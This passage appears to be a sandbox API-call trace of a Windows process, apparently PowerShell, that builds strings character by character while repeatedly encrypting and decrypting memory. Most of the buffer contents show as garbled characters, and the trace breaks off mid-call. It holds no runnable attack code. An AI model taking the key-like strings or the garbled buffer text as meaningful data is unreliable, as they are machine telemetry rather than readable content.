(param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇䥻ඓ㣆闀ﮛ꡴\滘∨) returned 0x18 [0242.225] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇䥻ඓ㣆闀ﮛ꡴\滘∨) returned 0x18 [0242.225] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.225] SysStringLen (param_1="LeqB4zciPJ09342Ug5FH⛓蚇ⓓǼ") returned 0x18 [0242.225] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.225] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇洀ൔ矔攘빠ヅ泟") returned 0x18 [0242.225] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇洀ൔ矔攘빠ヅ泟") returned 0x18 [0242.225] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.226] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC蚇ⓓǼ") returned 0x18 [0242.226] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.226] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇䋉ᣚ絃얅棂ퟥ㬳") returned 0x18 [0242.226] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇䋉ᣚ絃얅棂ퟥ㬳") returned 0x18 [0242.226] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.226] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9ⓓǼ") returned 0x18 [0242.226] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.226] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇喚⇅ତ쯦⍆୛믊쓙") returned 0x18 [0242.226] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇喚⇅ତ쯦⍆୛믊쓙") returned 0x18 [0242.226] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.226] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xǼ") returned 0x18 [0242.226] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.226] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇啌蒯婫蓔꒺晭嶩") returned 0x18 [0242.226] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇啌蒯婫蓔꒺晭嶩") returned 0x18 [0242.227] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.227] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xh") returned 0x18 [0242.227] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.227] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂") returned 0x18 [0242.227] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂") returned 0x18 [0242.227] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂") returned 0x18 [0242.227] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂") returned 0x20 [0242.227] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.228] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhI魁龿씻㚦莃㓹뾹") returned 0x20 [0242.228] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.228] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂瑰｡ၧ\뗜ꫢꤖ∙) returned 0x20 [0242.228] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂瑰｡ၧ\뗜ꫢꤖ∙) returned 0x20 [0242.228] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.228] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIF龿씻㚦莃㓹뾹") returned 0x20 [0242.228] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.228] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂ᚋ責鈬绀笡ꖬ유") returned 0x20 [0242.228] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂ᚋ責鈬绀笡ꖬ유") returned 0x20 [0242.228] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.228] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFp씻㚦莃㓹뾹") returned 0x20 [0242.228] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.228] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂೐怠ꎸ紽ᕭ") returned 0x20 [0242.228] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂೐怠ꎸ紽ᕭ") returned 0x20 [0242.228] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.229] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpD㚦莃㓹뾹") returned 0x20 [0242.229] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.229] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂激낳鮈䈎ꨦ팂ワ薎") returned 0x20 [0242.229] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂激낳鮈䈎ꨦ팂ワ薎") returned 0x20 [0242.229] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.229] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpDU莃㓹뾹") returned 0x20 [0242.229] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.229] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂ᖊ厼࡛ꯖ〤Е⎂") returned 0x20 [0242.229] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂ᖊ厼࡛ꯖ〤Е⎂") returned 0x20 [0242.229] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.229] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpDUM㓹뾹") returned 0x20 [0242.229] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.230] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂\軵㭬ၺ匭藁뗊∔) returned 0x20 [0242.230] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂\軵㭬ၺ匭藁뗊∔) returned 0x20 [0242.230] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.230] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpDUMw뾹") returned 0x20 [0242.230] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.230] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂摩렻䧦盛鷙歊乓៫") returned 0x20 [0242.230] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂摩렻䧦盛鷙歊乓៫") returned 0x20 [0242.230] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.230] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpDUMwW") returned 0x20 [0242.230] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.230] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ") returned 0x20 [0242.231] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ") returned 0x20 [0242.231] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ") returned 0x20 [0242.231] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ") returned 0x28 [0242.231] SystemFunction041 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.231] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpDUMwWZ닿រ㲳寠묝非㠂") returned 0x28 [0242.231] SystemFunction040 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.231] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ겉᪾轡숝⫶苞靼蜳") returned 0x28 [0242.231] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ겉᪾轡숝⫶苞靼蜳") returned 0x28 [0242.231] SystemFunction041 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.231] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpDUMwWZ3រ㲳寠묝非㠂") returned 0x28 [0242.231] SystemFunction040 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.232] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢꖆ଄뀱㷇얗㾥ⴎ") returned 0x28 [0242.232] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢꖆ଄뀱㷇얗㾥ⴎ") returned 0x28 [0242.232] SystemFunction041 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.232] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpDUMwWZ3R㲳寠묝非㠂") returned 0x28 [0242.232] SystemFunction040 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.232] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ凗趐䩷᝝賎毁겯籘") returned 0x28 [0242.232] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ凗趐䩷᝝賎毁겯籘") returned 0x28 [0242.232] SystemFunction041 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.232] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpDUMwWZ3Rf寠묝非㠂") returned 0x28 [0242.232] SystemFunction040 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.232] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ圸ꜘ쿳檊때ᖐ뻓") returned 0x28 [0242.232] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ圸ꜘ쿳檊때ᖐ뻓") returned 0x28 [0242.232] SystemFunction041 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.232] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpDUMwWZ3RfZ묝非㠂") returned 0x28 [0242.233] SystemFunction040 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.233] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ큀魽훪綠盍킍ᾔ") returned 0x28 [0242.233] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ큀魽훪綠盍킍ᾔ") returned 0x28 [0242.233] SystemFunction041 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.233] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpDUMwWZ3RfZ9非㠂") returned 0x28 [0242.233] SystemFunction040 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.233] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢᝒảࡹ㴾귽㍮祊") returned 0x28 [0242.233] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢᝒảࡹ㴾귽㍮祊") returned 0x28 [0242.233] SystemFunction041 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.233] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpDUMwWZ3RfZ9B㠂") returned 0x28 [0242.233] SystemFunction040 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.233] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ꿃퐇Ḛ⠣⪺ꮕѥ펴") returned 0x28 [0242.233] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ꿃퐇Ḛ⠣⪺ꮕѥ펴") returned 0x28 [0242.233] SystemFunction041 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.234] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpDUMwWZ3RfZ9BD") returned 0x28 [0242.234] SystemFunction040 (in: Memory=0x3716a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3716a4) returned 0x0 [0242.234] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ誛矾\ⷘ蓔㷋偐≻) returned 0x28 [0242.234] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ誛矾\ⷘ蓔㷋偐≻) returned 0x28 [0242.234] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ誛矾\ⷘ蓔㷋偐≻) returned 0x28 [0242.234] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ誛矾\ⷘ蓔㷋偐≻) returned 0x30 [0242.234] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0242.234] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpDUMwWZ3RfZ9BDC\峘砀㤀㜀㈀쉢ﭟ乽欣⊶) returned 0x30 [0242.234] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0242.235] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ誛矾\ⷘ蓔㷋偐\㯘㸝ꜞ⣺홺櫺漡趁") returned 0x30 [0242.235] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ誛矾\ⷘ蓔㷋偐\㯘㸝ꜞ⣺홺櫺漡趁") returned 0x30 [0242.235] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0242.235] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpDUMwWZ3RfZ9BDCS\x97戲忂緻⍎뙫") returned 0x30 [0242.235] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0242.235] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ誛矾\ⷘ蓔㷋偐屻雪增ƽ㑌⾳횮檼⊈) returned 0x30 [0242.235] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ誛矾\ⷘ蓔㷋偐屻雪增ƽ㑌⾳횮檼⊈) returned 0x30 [0242.235] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0242.235] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpDUMwWZ3RfZ9BDCS8戲忂緻⍎뙫") returned 0x30 [0242.235] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0242.235] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ誛矾\ⷘ蓔㷋偐啪햓쵁ʲ㐜花≆) returned 0x30 [0242.235] SysStringLen (param_1="獡떆ⶣ䉛왲᾿勩轡跿\xfde7ᶧ괼ヸ垠쳇꺴ꏔ翵뵉㗼䞊犂虑詪想虽퀏ൢ誛矾\ⷘ蓔㷋偐啪햓쵁ʲ㐜花≆) returned 0x30 [0242.235] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0242.236] SysStringLen (param_1="LeqB4zciPJ09342Ug5FHC9xhIFpDUMwWZ3RfZ9BDCS8=忂緻⍎뙫") returned 0x30 [0242.236] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0242.236] EtwEventActivityIdControl () returned 0x0 [0242.236] EtwEventActivityIdControl () returned 0x0 [0242.236] EtwEventActivityIdControl () returned 0x0 [0242.236] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.237] EtwEventActivityIdControl () returned 0x0 [0242.237] EtwEventActivityIdControl () returned 0x0 [0242.237] EtwEventActivityIdControl () returned 0x0 [0242.238] SysStringLen (param_1="") returned 0x8 [0242.238] SysStringLen (param_1="N") returned 0x8 [0242.238] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.238] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0242.238] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0242.238] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.238] SysStringLen (param_1="ND") returned 0x8 [0242.238] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.238] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0242.238] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0242.238] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.238] SysStringLen (param_1="NDZ") returned 0x8 [0242.238] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.239] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0242.239] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0242.239] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.239] SysStringLen (param_1="NDZl") returned 0x8 [0242.239] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.239] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0242.239] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0242.239] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.239] SysStringLen (param_1="NDZlO") returned 0x8 [0242.239] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.239] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0242.239] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0242.239] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.240] SysStringLen (param_1="NDZlOD") returned 0x8 [0242.240] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.240] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0242.240] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0242.240] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.240] SysStringLen (param_1="NDZlODR") returned 0x8 [0242.240] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.240] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0242.240] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0242.240] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.240] SysStringLen (param_1="NDZlODRm") returned 0x8 [0242.240] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.240] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0242.241] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0242.241] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0242.241] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0242.241] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.241] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0242.241] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.241] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0242.241] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0242.241] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.242] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0242.242] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.242] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0242.242] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0242.242] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.242] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0242.242] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.242] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0242.242] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0242.242] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.243] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0242.243] SystemFunction040 (in: 